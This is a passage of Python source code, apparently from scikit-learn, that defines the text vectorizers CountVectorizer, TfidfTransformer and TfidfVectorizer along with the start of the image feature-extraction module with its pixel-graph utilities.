
    dtype: type, optional
        Type of the matrix returned by fit_transform() or transform().

    non_negative : boolean, default=False
        Whether output matrices should contain non-negative values only;
        effectively calls abs on the matrix prior to returning it.
        When True, output values can be interpreted as frequencies.
        When False, output values will have expected value zero.

    See also
    --------
    CountVectorizer, TfidfVectorizer

    """
    def __init__(self, input='content', encoding='utf-8',
                 decode_error='strict', strip_accents=None,
                 lowercase=True, preprocessor=None, tokenizer=None,
                 stop_words=None, token_pattern=r"(?u)\b\w\w+\b",
                 ngram_range=(1, 1), analyzer='word', n_features=(2 ** 20),
                 binary=False, norm='l2', non_negative=False,
                 dtype=np.float64):
        self.input = input
        self.encoding = encoding
        self.decode_error = decode_error
        self.strip_accents = strip_accents
        self.preprocessor = preprocessor
        self.tokenizer = tokenizer
        self.analyzer = analyzer
        self.lowercase = lowercase
        self.token_pattern = token_pattern
        self.stop_words = stop_words
        self.n_features = n_features
        self.ngram_range = ngram_range
        self.binary = binary
        self.norm = norm
        self.non_negative = non_negative
        self.dtype = dtype

    def partial_fit(self, X, y=None):
        """Does nothing: this transformer is stateless.

        This method is just there to mark the fact that this transformer
        can work in a streaming setup.

        """
        return self

    def fit(self, X, y=None):
        """Does nothing: this transformer is stateless."""
        # triggers a parameter validation
        self._get_hasher().fit(X, y=y)
        return self

    def transform(self, X, y=None):
        """Transform a sequence of documents to a document-term matrix.

        Parameters
        ----------
        X : iterable over raw text documents, length = n_samples
            Samples. Each sample must be a text document (either bytes or
            unicode strings, file name or file object depending on the
            constructor argument) which will be tokenized and hashed.

        y : (ignored)

        Returns
        -------
        X : scipy.sparse matrix, shape = (n_samples, self.n_features)
            Document-term matrix.

        """
        analyzer = self.build_analyzer()
        X = self._get_hasher().transform(analyzer(doc) for doc in X)
        if self.binary:
            X.data.fill(1)
        if self.norm is not None:
            X = normalize(X, norm=self.norm, copy=False)
        return X

    # Alias transform to fit_transform for convenience
    fit_transform = transform

    def _get_hasher(self):
        return FeatureHasher(n_features=self.n_features,
                             input_type='string', dtype=self.dtype,
                             non_negative=self.non_negative)


def _document_frequency(X):
    """Count the number of non-zero values for each feature in sparse X."""
    if sp.isspmatrix_csr(X):
        return bincount(X.indices, minlength=X.shape[1])
    else:
        return np.diff(sp.csc_matrix(X, copy=False).indptr)


class CountVectorizer(BaseEstimator, VectorizerMixin):
    """Convert a collection of text documents to a matrix of token counts

    This implementation produces a sparse representation of the counts using
    scipy.sparse.coo_matrix.

    If you do not provide an a-priori dictionary and you do not use an analyzer
    that does some kind of feature selection then the number of features will
    be equal to the vocabulary size found by analyzing the data.

    Read more in the :ref:`User Guide <text_feature_extraction>`.

    Parameters
    ----------
    input : string {'filename', 'file', 'content'}
        If 'filename', the sequence passed as an argument to fit is
        expected to be a list of filenames that need reading to fetch
        the raw content to analyze.

        If 'file', the sequence items must have a 'read' method (file-like
        object) that is called to fetch the bytes in memory.

        Otherwise the input is expected to be the sequence strings or
        bytes items are expected to be analyzed directly.

    encoding : string, 'utf-8' by default.
        If bytes or files are given to analyze, this encoding is used to
        decode.

    decode_error : {'strict', 'ignore', 'replace'}
        Instruction on what to do if a byte sequence is given to analyze that
        contains characters not of the given `encoding`. By default, it is
        'strict', meaning that a UnicodeDecodeError will be raised. Other
        values are 'ignore' and 'replace'.

    strip_accents : {'ascii', 'unicode', None}
        Remove accents during the preprocessing step.
        'ascii' is a fast method that only works on characters that have
        an direct ASCII mapping.
        'unicode' is a slightly slower method that works on any characters.
        None (default) does nothing.

    analyzer : string, {'word', 'char', 'char_wb'} or callable
        Whether the feature should be made of word or character n-grams.
        Option 'char_wb' creates character n-grams only from text inside
        word boundaries.

        If a callable is passed it is used to extract the sequence of features
        out of the raw, unprocessed input.

    preprocessor : callable or None (default)
        Override the preprocessing (string transformation) stage while
        preserving the tokenizing and n-grams generation steps.

    tokenizer : callable or None (default)
        Override the string tokenization step while preserving the
        preprocessing and n-grams generation steps.
        Only applies if ``analyzer == 'word'``.

    ngram_range : tuple (min_n, max_n)
        The lower and upper boundary of the range of n-values for different
        n-grams to be extracted. All values of n such that min_n <= n <= max_n
        will be used.

    stop_words : string {'english'}, list, or None (default)
        If 'english', a built-in stop word list for English is used.

        If a list, that list is assumed to contain stop words, all of which
        will be removed from the resulting tokens.
        Only applies if ``analyzer == 'word'``.

        If None, no stop words will be used. max_df can be set to a value
        in the range [0.7, 1.0) to automatically detect and filter stop
        words based on intra corpus document frequency of terms.

    lowercase : boolean, True by default
        Convert all characters to lowercase before tokenizing.

    token_pattern : string
        Regular expression denoting what constitutes a "token", only used
        if ``analyzer == 'word'``. The default regexp select tokens of 2
        or more alphanumeric characters (punctuation is completely ignored
        and always treated as a token separator).

    max_df : float in range [0.0, 1.0] or int, default=1.0
        When building the vocabulary ignore terms that have a document
        frequency strictly higher than the given threshold (corpus-specific
        stop words).
        If float, the parameter represents a proportion of documents, integer
        absolute counts.
        This parameter is ignored if vocabulary is not None.

    min_df : float in range [0.0, 1.0] or int, default=1
        When building the vocabulary ignore terms that have a document
        frequency strictly lower than the given threshold. This value is also
        called cut-off in the literature.
        If float, the parameter represents a proportion of documents, integer
        absolute counts.
        This parameter is ignored if vocabulary is not None.

    max_features : int or None, default=None
        If not None, build a vocabulary that only consider the top
        max_features ordered by term frequency across the corpus.

        This parameter is ignored if vocabulary is not None.

    vocabulary : Mapping or iterable, optional
        Either a Mapping (e.g., a dict) where keys are terms and values are
        indices in the feature matrix, or an iterable over terms. If not
        given, a vocabulary is determined from the input documents. Indices
        in the mapping should not be repeated and should not have any gap
        between 0 and the largest index.

    binary : boolean, default=False
        If True, all non zero counts are set to 1. This is useful for discrete
        probabilistic models that model binary events rather than integer
        counts.

    dtype : type, optional
        Type of the matrix returned by fit_transform() or transform().

    Attributes
    ----------
    vocabulary_ : dict
        A mapping of terms to feature indices.

    stop_words_ : set
        Terms that were ignored because they either:

          - occurred in too many documents (`max_df`)
          - occurred in too few documents (`min_df`)
          - were cut off by feature selection (`max_features`).

        This is only available if no vocabulary was given.

    See also
    --------
    HashingVectorizer, TfidfVectorizer

    Notes
    -----
    The ``stop_words_`` attribute can get large and increase the model size
    when pickling. This attribute is provided only for introspection and can
    be safely removed using delattr or set to None before pickling.
    """

    def __init__(self, input='content', encoding='utf-8',
                 decode_error='strict', strip_accents=None,
                 lowercase=True, preprocessor=None, tokenizer=None,
                 stop_words=None, token_pattern=r"(?u)\b\w\w+\b",
                 ngram_range=(1, 1), analyzer='word',
                 max_df=1.0, min_df=1, max_features=None,
                 vocabulary=None, binary=False, dtype=np.int64):
        self.input = input
        self.encoding = encoding
        self.decode_error = decode_error
        self.strip_accents = strip_accents
        self.preprocessor = preprocessor
        self.tokenizer = tokenizer
        self.analyzer = analyzer
        self.lowercase = lowercase
        self.token_pattern = token_pattern
        self.stop_words = stop_words
        self.max_df = max_df
        self.min_df = min_df
        if max_df < 0 or min_df < 0:
            raise ValueError("negative value for max_df or min_df")
        self.max_features = max_features
        if max_features is not None:
            if (not isinstance(max_features, numbers.Integral) or
                    max_features <= 0):
                raise ValueError(
                    "max_features=%r, neither a positive integer nor None"
                    % max_features)
        self.ngram_range = ngram_range
        self.vocabulary = vocabulary
        self.binary = binary
        self.dtype = dtype

    def _sort_features(self, X, vocabulary):
        """Sort features by name

        Returns a reordered matrix and modifies the vocabulary in place
        """
        sorted_features = sorted(six.iteritems(vocabulary))
        map_index = np.empty(len(sorted_features), dtype=np.int32)
        for new_val, (term, old_val) in enumerate(sorted_features):
            map_index[new_val] = old_val
            vocabulary[term] = new_val
        return X[:, map_index]

    def _limit_features(self, X, vocabulary, high=None, low=None,
                        limit=None):
        """Remove too rare or too common features.

        Prune features that are non zero in more samples than high or less
        documents than low, modifying the vocabulary, and restricting it to
        at most the limit most frequent.

        This does not prune samples with zero features.
        """
        if high is None and low is None and limit is None:
            return X, set()

        # Calculate a mask based on document frequencies
        dfs = _document_frequency(X)
        tfs = np.asarray(X.sum(axis=0)).ravel()
        mask = np.ones(len(dfs), dtype=bool)
        if high is not None:
            mask &= dfs <= high
        if low is not None:
            mask &= dfs >= low
        if limit is not None and mask.sum() > limit:
            mask_inds = (-tfs[mask]).argsort()[:limit]
            new_mask = np.zeros(len(dfs), dtype=bool)
            new_mask[np.where(mask)[0][mask_inds]] = True
            mask = new_mask

        new_indices = np.cumsum(mask) - 1  # maps old indices to new
        removed_terms = set()
        for term, old_index in list(six.iteritems(vocabulary)):
            if mask[old_index]:
                vocabulary[term] = new_indices[old_index]
            else:
                del vocabulary[term]
                removed_terms.add(term)
        kept_indices = np.where(mask)[0]
        if len(kept_indices) == 0:
            raise ValueError("After pruning, no terms remain. Try a lower"
                             " min_df or a higher max_df.")
        return X[:, kept_indices], removed_terms

    def _count_vocab(self, raw_documents, fixed_vocab):
        """Create sparse feature matrix, and vocabulary where fixed_vocab=False
        """
        if fixed_vocab:
            vocabulary = self.vocabulary_
        else:
            # Add a new value when a new vocabulary item is seen
            vocabulary = defaultdict()
            vocabulary.default_factory = vocabulary.__len__

        analyze = self.build_analyzer()
        j_indices = _make_int_array()
        indptr = _make_int_array()
        indptr.append(0)
        for doc in raw_documents:
            for feature in analyze(doc):
                try:
                    j_indices.append(vocabulary[feature])
                except KeyError:
                    # Ignore out-of-vocabulary items for fixed_vocab=True
                    continue
            indptr.append(len(j_indices))

        if not fixed_vocab:
            # disable defaultdict behaviour
            vocabulary = dict(vocabulary)
            if not vocabulary:
                raise ValueError("empty vocabulary; perhaps the documents only"
                                 " contain stop words")

        j_indices = frombuffer_empty(j_indices, dtype=np.intc)
        indptr = np.frombuffer(indptr, dtype=np.intc)
        values = np.ones(len(j_indices))

        X = sp.csr_matrix((values, j_indices, indptr),
                          shape=(len(indptr) - 1, len(vocabulary)),
                          dtype=self.dtype)
        X.sum_duplicates()
        return vocabulary, X

    def fit(self, raw_documents, y=None):
        """Learn a vocabulary dictionary of all tokens in the raw documents.

        Parameters
        ----------
        raw_documents : iterable
            An iterable which yields either str, unicode or file objects.

        Returns
        -------
        self
        """
        self.fit_transform(raw_documents)
        return self

    def fit_transform(self, raw_documents, y=None):
        """Learn the vocabulary dictionary and return term-document matrix.

        This is equivalent to fit followed by transform, but more efficiently
        implemented.

        Parameters
        ----------
        raw_documents : iterable
            An iterable which yields either str, unicode or file objects.

        Returns
        -------
        X : array, [n_samples, n_features]
            Document-term matrix.
        """
        # We intentionally don't call the transform method to make
        # fit_transform overridable without unwanted side effects in
        # TfidfVectorizer.
        self._validate_vocabulary()
        max_df = self.max_df
        min_df = self.min_df
        max_features = self.max_features

        vocabulary, X = self._count_vocab(raw_documents,
                                          self.fixed_vocabulary_)

        if self.binary:
            X.data.fill(1)

        if not self.fixed_vocabulary_:
            X = self._sort_features(X, vocabulary)

            n_doc = X.shape[0]
            max_doc_count = (max_df
                             if isinstance(max_df, numbers.Integral)
                             else max_df * n_doc)
            min_doc_count = (min_df
                             if isinstance(min_df, numbers.Integral)
                             else min_df * n_doc)
            if max_doc_count < min_doc_count:
                raise ValueError(
                    "max_df corresponds to < documents than min_df")
            X, self.stop_words_ = self._limit_features(X, vocabulary,
                                                       max_doc_count,
                                                       min_doc_count,
                                                       max_features)

            self.vocabulary_ = vocabulary

        return X

    def transform(self, raw_documents):
        """Transform documents to document-term matrix.

        Extract token counts out of raw text documents using the vocabulary
        fitted with fit or the one provided to the constructor.

        Parameters
        ----------
        raw_documents : iterable
            An iterable which yields either str, unicode or file objects.

        Returns
        -------
        X : sparse matrix, [n_samples, n_features]
            Document-term matrix.
        """
        if not hasattr(self, 'vocabulary_'):
            self._validate_vocabulary()

        self._check_vocabulary()

        # use the same matrix-building strategy as fit_transform
        _, X = self._count_vocab(raw_documents, fixed_vocab=True)
        if self.binary:
            X.data.fill(1)
        return X

    def inverse_transform(self, X):
        """Return terms per document with nonzero entries in X.

        Parameters
        ----------
        X : {array, sparse matrix}, shape = [n_samples, n_features]

        Returns
        -------
        X_inv : list of arrays, len = n_samples
            List of arrays of terms.
        """
        self._check_vocabulary()

        if sp.issparse(X):
            # We need CSR format for fast row manipulations.
            X = X.tocsr()
        else:
            # We need to convert X to a matrix, so that the indexing
            # returns 2D objects
            X = np.asmatrix(X)
        n_samples = X.shape[0]

        terms = np.array(list(self.vocabulary_.keys()))
        indices = np.array(list(self.vocabulary_.values()))
        inverse_vocabulary = terms[np.argsort(indices)]

        return [inverse_vocabulary[X[i, :].nonzero()[1]].ravel()
                for i in range(n_samples)]

    def get_feature_names(self):
        """Array mapping from feature integer indices to feature name"""
        self._check_vocabulary()

        return [t for t, i in sorted(six.iteritems(self.vocabulary_),
                                     key=itemgetter(1))]


def _make_int_array():
    """Construct an array.array of a type suitable for scipy.sparse indices."""
    return array.array(str("i"))


class TfidfTransformer(BaseEstimator, TransformerMixin):
    """Transform a count matrix to a normalized tf or tf-idf representation

    Tf means term-frequency while tf-idf means term-frequency times inverse
    document-frequency. This is a common term weighting scheme in information
    retrieval, that has also found good use in document classification.

    The goal of using tf-idf instead of the raw frequencies of occurrence of a
    token in a given document is to scale down the impact of tokens that occur
    very frequently in a given corpus and that are hence empirically less
    informative than features that occur in a small fraction of the training
    corpus.

    The formula that is used to compute the tf-idf of term t is
    tf-idf(d, t) = tf(t) * idf(d, t), and the idf is computed as
    idf(d, t) = log [ n / df(d, t) ] + 1 (if ``smooth_idf=False``),
    where n is the total number of documents and df(d, t) is the
    document frequency; the document frequency is the number of documents d
    that contain term t. The effect of adding "1" to the idf in the equation
    above is that terms with zero idf, i.e., terms  that occur in all documents
    in a training set, will not be entirely ignored.
    (Note that the idf formula above differs from the standard
    textbook notation that defines the idf as
    idf(d, t) = log [ n / (df(d, t) + 1) ]).

    If ``smooth_idf=True`` (the default), the constant "1" is added to the
    numerator and denominator of the idf as if an extra document was seen
    containing every term in the collection exactly once, which prevents
    zero divisions: idf(d, t) = log [ (1 + n) / 1 + df(d, t) ] + 1.

    Furthermore, the formulas used to compute tf and idf depend
    on parameter settings that correspond to the SMART notation used in IR
    as follows:

    Tf is "n" (natural) by default, "l" (logarithmic) when
    ``sublinear_tf=True``.
    Idf is "t" when use_idf is given, "n" (none) otherwise.
    Normalization is "c" (cosine) when ``norm='l2'``, "n" (none)
    when ``norm=None``.

    Read more in the :ref:`User Guide <text_feature_extraction>`.

    Parameters
    ----------
    norm : 'l1', 'l2' or None, optional
        Norm used to normalize term vectors. None for no normalization.

    use_idf : boolean, default=True
        Enable inverse-document-frequency reweighting.

    smooth_idf : boolean, default=True
        Smooth idf weights by adding one to document frequencies, as if an
        extra document was seen containing every term in the collection
        exactly once. Prevents zero divisions.

    sublinear_tf : boolean, default=False
        Apply sublinear tf scaling, i.e. replace tf with 1 + log(tf).

    References
    ----------

    .. [Yates2011] `R. Baeza-Yates and B. Ribeiro-Neto (2011). Modern
                   Information Retrieval. Addison Wesley, pp. 68-74.`

    .. [MRS2008] `C.D. Manning, P. Raghavan and H. Schütze  (2008).
                   Introduction to Information Retrieval. Cambridge University
                   Press, pp. 118-120.`
    """

    def __init__(self, norm='l2', use_idf=True, smooth_idf=True,
                 sublinear_tf=False):
        self.norm = norm
        self.use_idf = use_idf
        self.smooth_idf = smooth_idf
        self.sublinear_tf = sublinear_tf

    def fit(self, X, y=None):
        """Learn the idf vector (global term weights)

        Parameters
        ----------
        X : sparse matrix, [n_samples, n_features]
            a matrix of term/token counts
        """
        if not sp.issparse(X):
            X = sp.csc_matrix(X)
        if self.use_idf:
            n_samples, n_features = X.shape
            df = _document_frequency(X)

            # perform idf smoothing if required
            df += int(self.smooth_idf)
            n_samples += int(self.smooth_idf)

            # log+1 instead of log makes sure terms with zero idf don't get
            # suppressed entirely.
            idf = np.log(float(n_samples) / df) + 1.0
            self._idf_diag = sp.spdiags(idf, diags=0, m=n_features, 
                                        n=n_features, format='csr')

        return self

    def transform(self, X, copy=True):
        """Transform a count matrix to a tf or tf-idf representation

        Parameters
        ----------
        X : sparse matrix, [n_samples, n_features]
            a matrix of term/token counts

        copy : boolean, default True
            Whether to copy X and operate on the copy or perform in-place
            operations.

        Returns
        -------
        vectors : sparse matrix, [n_samples, n_features]
        """
        if hasattr(X, 'dtype') and np.issubdtype(X.dtype, np.float):
            # preserve float family dtype
            X = sp.csr_matrix(X, copy=copy)
        else:
            # convert counts or binary occurrences to floats
            X = sp.csr_matrix(X, dtype=np.float64, copy=copy)

        n_samples, n_features = X.shape

        if self.sublinear_tf:
            np.log(X.data, X.data)
            X.data += 1

        if self.use_idf:
            check_is_fitted(self, '_idf_diag', 'idf vector is not fitted')

            expected_n_features = self._idf_diag.shape[0]
            if n_features != expected_n_features:
                raise ValueError("Input has n_features=%d while the model"
                                 " has been trained with n_features=%d" % (
                                     n_features, expected_n_features))
            # *= doesn't work
            X = X * self._idf_diag

        if self.norm:
            X = normalize(X, norm=self.norm, copy=False)

        return X

    @property
    def idf_(self):
        if hasattr(self, "_idf_diag"):
            return np.ravel(self._idf_diag.sum(axis=0))
        else:
            return None


class TfidfVectorizer(CountVectorizer):
    """Convert a collection of raw documents to a matrix of TF-IDF features.

    Equivalent to CountVectorizer followed by TfidfTransformer.

    Read more in the :ref:`User Guide <text_feature_extraction>`.

    Parameters
    ----------
    input : string {'filename', 'file', 'content'}
        If 'filename', the sequence passed as an argument to fit is
        expected to be a list of filenames that need reading to fetch
        the raw content to analyze.

        If 'file', the sequence items must have a 'read' method (file-like
        object) that is called to fetch the bytes in memory.

        Otherwise the input is expected to be the sequence strings or
        bytes items are expected to be analyzed directly.

    encoding : string, 'utf-8' by default.
        If bytes or files are given to analyze, this encoding is used to
        decode.

    decode_error : {'strict', 'ignore', 'replace'}
        Instruction on what to do if a byte sequence is given to analyze that
        contains characters not of the given `encoding`. By default, it is
        'strict', meaning that a UnicodeDecodeError will be raised. Other
        values are 'ignore' and 'replace'.

    strip_accents : {'ascii', 'unicode', None}
        Remove accents during the preprocessing step.
        'ascii' is a fast method that only works on characters that have
        an direct ASCII mapping.
        'unicode' is a slightly slower method that works on any characters.
        None (default) does nothing.

    analyzer : string, {'word', 'char'} or callable
        Whether the feature should be made of word or character n-grams.

        If a callable is passed it is used to extract the sequence of features
        out of the raw, unprocessed input.

    preprocessor : callable or None (default)
        Override the preprocessing (string transformation) stage while
        preserving the tokenizing and n-grams generation steps.

    tokenizer : callable or None (default)
        Override the string tokenization step while preserving the
        preprocessing and n-grams generation steps.
        Only applies if ``analyzer == 'word'``.

    ngram_range : tuple (min_n, max_n)
        The lower and upper boundary of the range of n-values for different
        n-grams to be extracted. All values of n such that min_n <= n <= max_n
        will be used.

    stop_words : string {'english'}, list, or None (default)
        If a string, it is passed to _check_stop_list and the appropriate stop
        list is returned. 'english' is currently the only supported string
        value.

        If a list, that list is assumed to contain stop words, all of which
        will be removed from the resulting tokens.
        Only applies if ``analyzer == 'word'``.

        If None, no stop words will be used. max_df can be set to a value
        in the range [0.7, 1.0) to automatically detect and filter stop
        words based on intra corpus document frequency of terms.

    lowercase : boolean, default True
        Convert all characters to lowercase before tokenizing.

    token_pattern : string
        Regular expression denoting what constitutes a "token", only used
        if ``analyzer == 'word'``. The default regexp selects tokens of 2
        or more alphanumeric characters (punctuation is completely ignored
        and always treated as a token separator).

    max_df : float in range [0.0, 1.0] or int, default=1.0
        When building the vocabulary ignore terms that have a document
        frequency strictly higher than the given threshold (corpus-specific
        stop words).
        If float, the parameter represents a proportion of documents, integer
        absolute counts.
        This parameter is ignored if vocabulary is not None.

    min_df : float in range [0.0, 1.0] or int, default=1
        When building the vocabulary ignore terms that have a document
        frequency strictly lower than the given threshold. This value is also
        called cut-off in the literature.
        If float, the parameter represents a proportion of documents, integer
        absolute counts.
        This parameter is ignored if vocabulary is not None.

    max_features : int or None, default=None
        If not None, build a vocabulary that only consider the top
        max_features ordered by term frequency across the corpus.

        This parameter is ignored if vocabulary is not None.

    vocabulary : Mapping or iterable, optional
        Either a Mapping (e.g., a dict) where keys are terms and values are
        indices in the feature matrix, or an iterable over terms. If not
        given, a vocabulary is determined from the input documents.

    binary : boolean, default=False
        If True, all non-zero term counts are set to 1. This does not mean
        outputs will have only 0/1 values, only that the tf term in tf-idf
        is binary. (Set idf and normalization to False to get 0/1 outputs.)

    dtype : type, optional
        Type of the matrix returned by fit_transform() or transform().

    norm : 'l1', 'l2' or None, optional
        Norm used to normalize term vectors. None for no normalization.

    use_idf : boolean, default=True
        Enable inverse-document-frequency reweighting.

    smooth_idf : boolean, default=True
        Smooth idf weights by adding one to document frequencies, as if an
        extra document was seen containing every term in the collection
        exactly once. Prevents zero divisions.

    sublinear_tf : boolean, default=False
        Apply sublinear tf scaling, i.e. replace tf with 1 + log(tf).

    Attributes
    ----------
    vocabulary_ : dict
        A mapping of terms to feature indices.

    idf_ : array, shape = [n_features], or None
        The learned idf vector (global term weights)
        when ``use_idf`` is set to True, None otherwise.

    stop_words_ : set
        Terms that were ignored because they either:

          - occurred in too many documents (`max_df`)
          - occurred in too few documents (`min_df`)
          - were cut off by feature selection (`max_features`).

        This is only available if no vocabulary was given.

    See also
    --------
    CountVectorizer
        Tokenize the documents and count the occurrences of token and return
        them as a sparse matrix

    TfidfTransformer
        Apply Term Frequency Inverse Document Frequency normalization to a
        sparse matrix of occurrence counts.

    Notes
    -----
    The ``stop_words_`` attribute can get large and increase the model size
    when pickling. This attribute is provided only for introspection and can
    be safely removed using delattr or set to None before pickling.
    """

    def __init__(self, input='content', encoding='utf-8',
                 decode_error='strict', strip_accents=None, lowercase=True,
                 preprocessor=None, tokenizer=None, analyzer='word',
                 stop_words=None, token_pattern=r"(?u)\b\w\w+\b",
                 ngram_range=(1, 1), max_df=1.0, min_df=1,
                 max_features=None, vocabulary=None, binary=False,
                 dtype=np.int64, norm='l2', use_idf=True, smooth_idf=True,
                 sublinear_tf=False):

        super(TfidfVectorizer, self).__init__(
            input=input, encoding=encoding, decode_error=decode_error,
            strip_accents=strip_accents, lowercase=lowercase,
            preprocessor=preprocessor, tokenizer=tokenizer, analyzer=analyzer,
            stop_words=stop_words, token_pattern=token_pattern,
            ngram_range=ngram_range, max_df=max_df, min_df=min_df,
            max_features=max_features, vocabulary=vocabulary, binary=binary,
            dtype=dtype)

        self._tfidf = TfidfTransformer(norm=norm, use_idf=use_idf,
                                       smooth_idf=smooth_idf,
                                       sublinear_tf=sublinear_tf)

    # Broadcast the TF-IDF parameters to the underlying transformer instance
    # for easy grid search and repr

    @property
    def norm(self):
        return self._tfidf.norm

    @norm.setter
    def norm(self, value):
        self._tfidf.norm = value

    @property
    def use_idf(self):
        return self._tfidf.use_idf

    @use_idf.setter
    def use_idf(self, value):
        self._tfidf.use_idf = value

    @property
    def smooth_idf(self):
        return self._tfidf.smooth_idf

    @smooth_idf.setter
    def smooth_idf(self, value):
        self._tfidf.smooth_idf = value

    @property
    def sublinear_tf(self):
        return self._tfidf.sublinear_tf

    @sublinear_tf.setter
    def sublinear_tf(self, value):
        self._tfidf.sublinear_tf = value

    @property
    def idf_(self):
        return self._tfidf.idf_

    def fit(self, raw_documents, y=None):
        """Learn vocabulary and idf from training set.

        Parameters
        ----------
        raw_documents : iterable
            an iterable which yields either str, unicode or file objects

        Returns
        -------
        self : TfidfVectorizer
        """
        X = super(TfidfVectorizer, self).fit_transform(raw_documents)
        self._tfidf.fit(X)
        return self

    def fit_transform(self, raw_documents, y=None):
        """Learn vocabulary and idf, return term-document matrix.

        This is equivalent to fit followed by transform, but more efficiently
        implemented.

        Parameters
        ----------
        raw_documents : iterable
            an iterable which yields either str, unicode or file objects

        Returns
        -------
        X : sparse matrix, [n_samples, n_features]
            Tf-idf-weighted document-term matrix.
        """
        X = super(TfidfVectorizer, self).fit_transform(raw_documents)
        self._tfidf.fit(X)
        # X is already a transformed view of raw_documents so
        # we set copy to False
        return self._tfidf.transform(X, copy=False)

    def transform(self, raw_documents, copy=True):
        """Transform documents to document-term matrix.

        Uses the vocabulary and document frequencies (df) learned by fit (or
        fit_transform).

        Parameters
        ----------
        raw_documents : iterable
            an iterable which yields either str, unicode or file objects

        copy : boolean, default True
            Whether to copy X and operate on the copy or perform in-place
            operations.

        Returns
        -------
        X : sparse matrix, [n_samples, n_features]
            Tf-idf-weighted document-term matrix.
        """
        check_is_fitted(self, '_tfidf', 'The tfidf vector is not fitted')

        X = super(TfidfVectorizer, self).transform(raw_documents)
        return self._tfidf.transform(X, copy=False)






"""
The :mod:`sklearn.feature_extraction.image` submodule gathers utilities to
extract features from images.
"""

# Authors: Emmanuelle Gouillart <emmanuelle.gouillart@normalesup.org>
#          Gael Varoquaux <gael.varoquaux@normalesup.org>
#          Olivier Grisel
#          Vlad Niculae
# License: BSD 3 clause

from itertools import product
import numbers
import numpy as np
from scipy import sparse
from numpy.lib.stride_tricks import as_strided

from ..utils import check_array, check_random_state
from ..utils.fixes import astype
from ..base import BaseEstimator

__all__ = ['PatchExtractor',
           'extract_patches_2d',
           'grid_to_graph',
           'img_to_graph',
           'reconstruct_from_patches_2d']

###############################################################################
# From an image to a graph


def _make_edges_3d(n_x, n_y, n_z=1):
    """Returns a list of edges for a 3D image.

    Parameters
    ===========
    n_x: integer
        The size of the grid in the x direction.
    n_y: integer
        The size of the grid in the y direction.
    n_z: integer, optional
        The size of the grid in the z direction, defaults to 1
    """
    vertices = np.arange(n_x * n_y * n_z).reshape((n_x, n_y, n_z))
    edges_deep = np.vstack((vertices[:, :, :-1].ravel(),
                            vertices[:, :, 1:].ravel()))
    edges_right = np.vstack((vertices[:, :-1].ravel(),
                             vertices[:, 1:].ravel()))
    edges_down = np.vstack((vertices[:-1].ravel(), vertices[1:].ravel()))
    edges = np.hstack((edges_deep, edges_right, edges_down))
    return edges


def _compute_gradient_3d(edges, img):
    n_x, n_y, n_z = img.shape
    gradient = np.abs(img[edges[0] // (n_y * n_z),
                      (edges[0] % (n_y * n_z)) // n_z,
                      (edges[0] % (n_y * n_z)) % n_z] -
                      img[edges[1] // (n_y * n_z),
                      (edges[1] % (n_y * n_z)) // n_z,
                      (edges[1] % (n_y * n_z)) % n_z])
    return gradient


# XXX: Why mask the image after computing the weights?

def _mask_edges_weights(mask, edges, weights=None):
    """Apply a mask to edges (weighted or not)"""
    inds = np.arange(mask.size)
    inds = inds[mask.ravel()]
    ind_mask = np.logical_and(np.in1d(edges[0], inds),
                              np.in1d(edges[1], inds))
    edges = edges[:, ind_mask]
    if weights is not None:
        weights = weights[ind_mask]
    if len(edges.ravel()):
        maxval = edges.max()
    else:
        maxval = 0
    order = np.searchsorted(np.unique(edges.ravel()), np.arange(maxval + 1))
    edges = order[edges]
    if weights is None:
        return edges
    else:
        return edges, weights


def _to_graph(n_x, n_y, n_z, mask=None, img=None,
              return_as=sparse.coo_matrix, dtype=None):
    """Auxiliary function for img_to_graph and grid_to_graph
    """
    edges = _make_edges_3d(n_x, n_y, n_z)

    if dtype is None:
        if img is None:
            dtype = np.int
        else:
            dtype = img.dtype

    if img is not None:
        img = np.atleast_3d(img)
        weights = _compute_gradient_3d(edges, img)
        if mask is not None:
            edges, weights = _mask_edges_weights(mask, edges, weights)
            diag = img.squeeze()[mask]
        else:
            diag = img.ravel()
        n_voxels = diag.size
    else:
        if mask is not None:
            mask = astype(mask, dtype=np.bool, copy=False)
            mask = np.asarray(mask, dtype=np.bool)
            edges = _mask_edges_weights(mask, edges)
            n_voxels = np.sum(mask)
        else:
            n_voxels = n_x * n_y * n_z
        weights = np.ones(edges.shape[1], dtype=dtype)
        diag = np.ones(n_voxels, dtype=dtype)

    diag_idx = np.arange(n_voxels)
    i_idx = np.hstack((edges[0], edges[1]))
    j_idx = np.hstack((edges[1], edges[0]))
    graph = sparse.coo_matrix((np.hstack((weights, weights, diag)),
                              (np.hstack((i_idx, diag_idx)),
                               np.hstack((j_idx, diag_idx)))),
                              (n_voxels, n_voxels),
                              dtype=dtype)
    if return_as is np.ndarray:
        return graph.toarray()
    return return_as(graph)


def img_to_graph(img, mask=None, return_as=sparse.coo_matrix, dtype=None):
    """Graph of the pixel-to-pixel gradient connections

    Edges are weighted with the gradient values.

    Read more in the :ref:`User Guide <image_feature_extraction>`.

    Parameters
    ----------
    img : ndarray, 2D or 3D
        2D or 3D image
    mask : ndarray of booleans, optional
        An optional mask of the image, to consider only part of the
        pixels.
    return_as : np.ndarray or a sparse matrix class, optional
        The class to use to build the returned adjacency matrix.
    dtype : None or dtype, optional
        The data of the returned sparse matrix. By default it is the
        dtype of img

    Notes
    -----
    For sklearn versions 0.14.1 and prior, return_as=np.ndarray was handled
    by returning a dense np.matrix instance.  Going forward, np.ndarray
    returns an np.ndarray, as expected.

    For compatibility, user code relying on this method should wrap its
    calls in ``np.asarray`` to avoid type issues.
    """
    img = np.atleast_3d(img)
    n_x, n_y, n_z = img.shape
    return _to_graph(n_x, n_y, n_z, mask, img, return_as, dtype)


def grid_to_graph(n_x, n_y, n_z=1, mask=None, return_as=sparse.coo_matrix,
                  dtype=np.int):
    """Graph of the pixel-to-pixel connections

    Edges exist if 2 voxels are connected.

    Parameters
    ----------
    n_x : int
        Dimension in x axis
    n_y : int
        Dimension in y axis
    n_z : int, optional, default 1
        Dimension in z axis
    mask : ndarray of booleans, optional
        An optional mask of the image, to consider only part of the
        pixels.
    return_as : np.ndarray or a sparse matrix class, optional
        The class to use to build the returned adjacency matrix.
    dtype : dtype, optional, default int
        The data of the returned sparse matrix. By default it is int

    Notes
    -----
    For sklearn versions 0.14.1 and prior, return_as=np.ndarray was handled
    by returning a dense np.matrix instance.  Going forward, np.ndarray
    returns an np.ndarray, as expected.

    For compatibility, user code relying on this method should wrap its
    calls in ``np.asarray`` to avoid type issues.
    """
    return _to_graph(n_x, n_y, n_z, mask=mask, return_as=return_as,
                     dtype=dtype)


###############################################################################
# From an image to a set of small image patches

